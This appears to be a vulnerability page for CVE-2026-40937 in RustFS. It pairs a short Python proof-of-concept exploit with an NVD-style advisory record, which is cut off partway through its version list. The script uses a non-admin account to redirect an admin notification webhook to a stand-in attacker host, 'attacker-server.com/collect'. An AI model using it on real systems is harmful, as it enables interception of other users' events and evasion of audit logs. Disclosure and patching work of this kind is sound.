CVE-2026-40937

# Proof of Concept for CVE-2026-40937 # This script demonstrates how a non-admin user can overwrite an admin notification target. import requests # Target URL (replace with actual RustFS instance) target_url = "http://rustfs-instance:9000/admin/notification/targets/important-audit-log" # Credentials for a low-privileged user (not an admin) access_key = "USER_ACCESS_KEY" secret_key = "USER_SECRET_KEY" # Attacker-controlled endpoint attacker_endpoint = "http://attacker-server.com/collect" # Payload to overwrite the existing target payload = { "name": "important-audit-log", "endpoint": attacker_endpoint, "type": "webhook" } # Send the request # The vulnerability lies in the handler only checking 'check_permissions' (auth) # instead of 'validate_admin_request' (authorization). response = requests.put( target_url, json=payload, auth=(access_key, secret_key) ) if response.status_code == 200: print(f"[+] Success! Notification target overwritten to: {attacker_endpoint}") else: print(f"[-] Failed with status: {response.status_code}")

{"cve": {"id": "CVE-2026-40937", "sourceIdentifier": "[email protected]", "published": "2026-04-22T21:17:08.877", "lastModified": "2026-04-24T13:12:29.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "RustFS is a distributed object storage system built in Rust. Prior to 1.0.0-alpha.94, all four notification target admin API endpoints in `rustfs/src/admin/handlers/event.rs` use a `check_permissions` helper that validates authentication only (access key + session token), without performing any admin-action authorization via `validate_admin_request`. Every other admin handler in the codebase correctly calls `validate_admin_request` with a specific `AdminAction`. This is the only admin handler file that skips authorization. A non-admin user can overwrite a shared admin-defined notification target by name, causing subsequent bucket events to be delivered to an attacker-controlled endpoint. This enables cross-user event interception and audit evasion. 1.0.0-alpha.94 contains a patch."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha1:*:*:*:rust:*:*", "matchCriteriaId": "454A2F3A-76CF-4F2D-97FE-AEDEBE8FF1CA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha10:*:*:*:rust:*:*", "matchCriteriaId": "32B2D146-7920-4C6D-B42F-1BDDF5193394"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha11:*:*:*:rust:*:*", "matchCriteriaId": "B25BC365-35BA-438A-B5B1-3FA696767821"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha12:*:*:*:rust:*:*", "matchCriteriaId": "B69213F1-7D94-4185-9309-FF3140733550"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha13:*:*:*:rust:*:*", "matchCriteriaId": "BD2476D6-257C-4A96-BED4-D8B002402242"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha14:*:*:*:rust:*:*", "matchCriteriaId": "774EC64C-73ED-4D6B-893B-30A066DA934C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha15:*:*:*:rust:*:*", "matchCriteriaId": "4B567F4F-131F-4D4B-8C0C-9212F22F2BB3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha16:*:*:*:rust:*:*", "matchCriteriaId": "711F7641-A2B2-410B-B05D-6656F9A1798F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha17:*:*:*:rust:*:*", "matchCriteriaId": "EB79AC62-2B79-441C-BC09-4C834C32EADA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha18:*:*:*:rust:*:*", "matchCriteriaId": "62DE84EE-9F3B-460A-AC13-D2B8CCBC5B4E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha19:*:*:*:rust:*:*", "matchCriteriaId": "DEF70599-6550-49D2-9800-FE3249A66568"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha2:*:*:*:rust:*:*", "matchCriteriaId": "550786BD-A6A4-454B-BDAB-67AE64DABCA7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha20:*:*:*:rust:*:*", "matchCriteriaId": "FDFE93A5-B6D7-482A-A891-4D8844604C07"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha21:*:*:*:rust:*:*", "matchCriteriaId": "79AC4F00-B006-46C2-863F-2946BB02B58E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha22:*:*:*:rust:*:*", "matchCriteriaId": "E313A243-ED56-498D-988F-E088693EBB61"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha23:*:*:*:rust:*:*", "matchCriteriaId": "D3A60CB7-1F01-4A60-8555-C225AC89B959"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha24:*:*:*:rust:*:*", "matchCriteriaId": "1C98618D-CF5D-406B-8AA5-34B412F3D43D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha25:*:*:*:rust:*:*", "matchCriteriaId": "98373960-FEDB-4933-92D5-2A597045DD23"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha26:*:*:*:rust:*:*", "matchCriteriaId": "83E0E1A5-3C07-45FF-80FD-0DB375E1575E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha27:*:*:*:rust:*:*", "matchCriteriaId": "C2D66076-4005-4F58-A8E2-69062053D786"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha28:*:*:*:rust:*:*", "matchCriteriaId": "1D8CB0F5-299F-4BB0-B264-F5642DD991C4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:rustfs:rustfs:1.0.0:alpha29:*:*:*:rust:*:*", "matchCriteriaId ... (truncated)